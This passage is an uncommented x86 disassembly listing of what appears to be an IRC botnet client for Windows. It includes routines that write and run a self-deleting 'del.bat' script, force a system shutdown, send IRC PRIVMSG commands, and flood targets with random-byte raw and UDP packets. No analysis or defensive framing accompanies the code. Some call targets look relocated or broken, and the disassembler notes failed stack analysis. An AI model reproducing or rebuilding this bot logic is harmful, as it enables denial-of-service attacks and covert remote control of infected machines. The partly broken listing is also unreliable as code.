		cmp	eax, ecx
		jnz	short loc_40A9D3


loc_40AA23:				; CODE XREF: sub_40A96F+62j
		dec	edi
		dec	esi
		jmp	short loc_40A9AD
; ---------------------------------------------------------------------------


loc_40AA27:				; CODE XREF: sub_40A96F+8Aj
		xor	eax, eax
		jmp	short loc_40AA30
; ---------------------------------------------------------------------------


loc_40AA2B:				; CODE XREF: sub_40A96F+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_40AA30:				; CODE XREF: sub_40A96F+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A96F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA35	proc near		; CODE XREF: sub_40EE72+3C8Cp
					; sub_40EE72+4AF5p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2640A83h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_100]


loc_40AA6E:				; CODE XREF: sub_40AA35+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_40AA7A
		cmp	cl, 9
		jnz	short loc_40AA7D


loc_40AA7A:				; CODE XREF: sub_40AA35+3Ej
		inc	eax
		jmp	short loc_40AA6E
; ---------------------------------------------------------------------------


loc_40AA7D:				; CODE XREF: sub_40AA35+43j
					; sub_40AA35+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_40AA97
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_40AA7D
		cmp	cl, 21h
		jl	short loc_40AA7D


loc_40AA97:				; CODE XREF: sub_40AA35+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_43F798
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA35	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AABF	proc near		; CODE XREF: sub_40EE72+5730p
		push	esi
		push	0
		call	dword_43F638
		test	eax, eax
		jz	short loc_40AAF6
		push	1
		call	dword_43F658
		mov	esi, eax
		test	esi, esi
		jz	short loc_40AAF6
		push	edi
		push	esi
		nop
		call	near ptr 27305D4h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 2730000h
		call	dword_43F6BC
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AAF6:				; CODE XREF: sub_40AABF+Bj
					; sub_40AABF+19j
		xor	eax, eax
		pop	esi
		retn
sub_40AABF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAFA	proc near		; CODE XREF: sub_40EE72+48BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_43F674
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_40AB76
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 2740000h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 2590000h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_43F6C4
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_43F6C4
		push	ebx
		nop
		call	near ptr 2730AB2h
		push	edi
		nop
		call	near ptr 26217F0h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_40AB78
; ---------------------------------------------------------------------------


loc_40AB76:				; CODE XREF: sub_40AAFA+16j
		xor	eax, eax


loc_40AB78:				; CODE XREF: sub_40AAFA+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40AAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB7C	proc near		; CODE XREF: ___:0040E8BBp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_43F724
		test	eax, eax
		jz	short loc_40AC1B
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_424084
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 2750000h
		push	ebx
		mov	ebx, dword_424078
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	near ptr 2740647h
		nop
		push	esi
		call	ebx


loc_40AC1B:				; CODE XREF: sub_40AB7C+2Aj
					; sub_40AB7C+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AB7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC20	proc near		; CODE XREF: sub_40EE72+13C4p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_41511D
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_43F5B0
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_40AC20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC42	proc near		; CODE XREF: sub_40CAF1+472p
					; sub_40EE72+59D2p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42F5C0, esi
		push	edi
		jz	short loc_40AC66
		cmp	dword_43F738, esi
		jnz	short loc_40AC66
		push	esi
		call	sub_40C1AE
		pop	ecx


loc_40AC66:				; CODE XREF: sub_40AC42+13j
					; sub_40AC42+1Bj
		call	sub_416F23
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 2770133h
		nop
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2640764h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_40ADC6
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 2630000h
		push	edi
		nop
		call	near ptr 26217F0h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43C80C
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 2710C80h
		push	eax
		call	near ptr 2650000h
		nop
		lea	eax, [ebp+var_15C]
		push	eax
		call	near ptr 2680391h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40AD6E
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	near ptr 2770000h
		nop


loc_40AD6E:				; CODE XREF: sub_40AC42+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_4172AE
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2750531h


loc_40ADC6:				; CODE XREF: sub_40AC42+72j
		pop	edi
		pop	esi
		leave
		retn
sub_40AC42	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADCA	proc near		; CODE XREF: sub_4013EC+7p
					; sub_401992+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40ADF2
		push	[esp+arg_0]
		call	dword_43F6EC
		test	eax, eax
		jnz	short loc_40ADEB
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40ADEB:				; CODE XREF: sub_40ADCA+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40ADF2:				; CODE XREF: sub_40ADCA+Dj
		retn
sub_40ADCA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADF3	proc near		; CODE XREF: sub_40EB92+D6p
		mov	ecx, dword_43F590
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AE01
		call	ecx

locret_40AE01:				; CODE XREF: sub_40ADF3+Aj
		retn
sub_40ADF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE02	proc near		; CODE XREF: sub_40EE72:loc_414554p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_43F6E4
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40AEC8
		sub	ecx, 32h
		jz	loc_40AEC1
		sub	ecx, 48h
		jz	short loc_40AE62
		sub	ecx, 6Eh
		jz	short loc_40AE5B


loc_40AE44:				; CODE XREF: sub_40AE02+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DA5C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	short loc_40AEA2
; ---------------------------------------------------------------------------


loc_40AE5B:				; CODE XREF: sub_40AE02+40j
		push	offset unk_42DA28
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------


loc_40AE62:				; CODE XREF: sub_40AE02+3Bj
		push	[ebp+var_8]
		call	sub_417B89
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_417330
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40AE8F
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_43F6E4
		cmp	eax, edi
		jz	short loc_40AEC8
		jmp	short loc_40AE44
; ---------------------------------------------------------------------------


loc_40AE8F:				; CODE XREF: sub_40AE02+79j
		push	offset unk_42D9E8


loc_40AE94:				; CODE XREF: sub_40AE02+5Ej
					; sub_40AE02+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_40AEA2:				; CODE XREF: sub_40AE02+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_40AEB2:				; CODE XREF: sub_40AE02+C8j
					; sub_40AE02+DCj
		push	esi
		call	sub_417C3B
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40AEC1:				; CODE XREF: sub_40AE02+32j
		push	offset unk_42D9A8
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------


loc_40AEC8:				; CODE XREF: sub_40AE02+29j
					; sub_40AE02+89j
		cmp	[esi], edi
		jbe	short loc_40AEB2
		lea	ebx, [esi+4]


loc_40AECF:				; CODE XREF: sub_40AE02+DAj
		push	ebx
		call	dword_43F6E0
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40AECF
		jmp	short loc_40AEB2
sub_40AE02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEE0	proc near		; CODE XREF: sub_40144A+243p
					; sub_401D82+268p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F60C
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43F99C
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4172AE
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AEE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF39	proc near		; CODE XREF: sub_4010B5+24Cp
					; sub_4010B5+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AF62
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AF55:				; CODE XREF: sub_40AF39+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AF55
		pop	edi
		jmp	short loc_40AF66
; ---------------------------------------------------------------------------


loc_40AF62:				; CODE XREF: sub_40AF39+Aj
		mov	edx, [esp+4+arg_0]


loc_40AF66:				; CODE XREF: sub_40AF39+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AF70
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AF70:				; CODE XREF: sub_40AF39+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AF39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF86	proc near		; DATA XREF: sub_40EE72+2E51o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_43F5F4
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43F6A8
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40AFE1
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43F6EC
		cmp	eax, ebx
		jz	short loc_40AFE7


loc_40AFE1:				; CODE XREF: sub_40AF86+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40B044


loc_40AFE7:				; CODE XREF: sub_40AF86+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DAD8
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B027
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h


loc_40B027:				; CODE XREF: sub_40AF86+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 25F0962h
		nop


loc_40B044:				; CODE XREF: sub_40AF86+5Fj
		cmp	eax, ebx
		jz	short loc_40B054
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40B057
; ---------------------------------------------------------------------------


loc_40B054:				; CODE XREF: sub_40AF86+C0j
		mov	[ebp+var_4], esi


loc_40B057:				; CODE XREF: sub_40AF86+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_417330
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_40B077
		mov	[ebp+var_3C], eax


loc_40B077:				; CODE XREF: sub_40AF86+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_40B07F
		mov	[ebp+var_38], edi


loc_40B07F:				; CODE XREF: sub_40AF86+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_40B0AC


loc_40B086:				; CODE XREF: sub_40AF86+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_43F58C
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_40B086


loc_40B0AC:				; CODE XREF: sub_40AF86+FEj
		push	[ebp+arg_0]
		call	dword_43F720
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DA9C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B0F5
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h


loc_40B0F5:				; CODE XREF: sub_40AF86+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0962h
sub_40AF86	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B112	proc near		; DATA XREF: sub_40EE72+2FA9o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	near ptr 2600000h
		nop
		push	eax
		call	sub_417300
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_43F6E8
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40B1F7
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_43F6EC
		cmp	eax, edi
		jnz	short loc_40B1F0
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB4C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B1D3
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h


loc_40B1D3:				; CODE XREF: sub_40B112+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 25F0962h
		nop


loc_40B1F0:				; CODE XREF: sub_40B112+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40B1FA
; ---------------------------------------------------------------------------


loc_40B1F7:				; CODE XREF: sub_40B112+6Ej
		lea	eax, [ebp+arg_0]


loc_40B1FA:				; CODE XREF: sub_40B112+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40B215
		call	sub_41730A
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40B218
; ---------------------------------------------------------------------------


loc_40B215:				; CODE XREF: sub_40B112+F0j
		push	[ebp+var_24]


loc_40B218:				; CODE XREF: sub_40B112+101j
		call	dword_43F668
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40B22A
		mov	[ebp+var_24], esi


loc_40B22A:				; CODE XREF: sub_40B112+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40B237
		mov	[ebp+var_24], eax


loc_40B237:				; CODE XREF: sub_40B112+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40B24B
		mov	[ebp+var_28], esi


loc_40B24B:				; CODE XREF: sub_40B112+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40B26C


loc_40B252:				; CODE XREF: sub_40B112+158j
		call	sub_41730A
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40B252


loc_40B26C:				; CODE XREF: sub_40B112+13Ej
					; sub_40B112+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_40B2CB
		push	0Bh
		pop	esi


loc_40B279:				; CODE XREF: sub_40B112+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_41730A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_43F6CC
		push	[ebp+var_28]
		nop
		call	near ptr 260086Bh
		dec	esi
		jnz	short loc_40B279
		cmp	[ebp+var_24], edi
		jnz	short loc_40B26C
		call	sub_41730A
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_43F668
		mov	[ebp+var_E], ax
		jmp	short loc_40B26C
; ---------------------------------------------------------------------------


loc_40B2CB:				; CODE XREF: sub_40B112+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB10
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B30B
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h


loc_40B30B:				; CODE XREF: sub_40B112+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25F0962h
sub_40B112	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B328	proc near		; CODE XREF: sub_40B358+2Ap
					; sub_40B390+7Ep ...
		mov	eax, dword_43F9B4
		push	esi
		mov	esi, dword_424078
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B33C
		push	eax
		call	esi


loc_40B33C:				; CODE XREF: sub_40B328+Fj
		mov	eax, dword_43F9BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B349
		push	eax
		call	esi


loc_40B349:				; CODE XREF: sub_40B328+1Cj
		mov	eax, dword_43F9B0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B356
		push	eax
		call	esi


loc_40B356:				; CODE XREF: sub_40B328+29j
		pop	esi
		retn
sub_40B328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B358	proc near		; CODE XREF: sub_40C351+14Ap
					; sub_40EE72+4881p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_43F9B8
		call	near ptr 2630000h
		nop
		test	eax, eax
		jnz	short loc_40B38B
		call	sub_40B328
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B38B:				; CODE XREF: sub_40B358+28j
		push	1
		pop	eax
		leave
		retn
sub_40B358	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B390	proc near		; CODE XREF: sub_40B417+D3p
					; sub_40B417+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43C80C
		push	[ebp+arg_4]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B3D3
		push	7D0h
		call	near ptr 260086Bh
		nop
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4172AE
		add	esp, 10h
		jmp	short loc_40B3EA
; ---------------------------------------------------------------------------


loc_40B3D3:				; CODE XREF: sub_40B390+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_40B3EA:				; CODE XREF: sub_40B390+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		test	eax, eax
		jg	short loc_40B413
		call	sub_40B328


loc_40B413:				; CODE XREF: sub_40B390+7Cj
		xor	eax, eax
		leave
		retn
sub_40B390	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B417	proc near		; DATA XREF: sub_40B56C+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_43F9C0


loc_40B42F:				; CODE XREF: sub_40B417+79j
					; sub_40B417+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_43F9B4
		nop
		call	near ptr 27804C8h
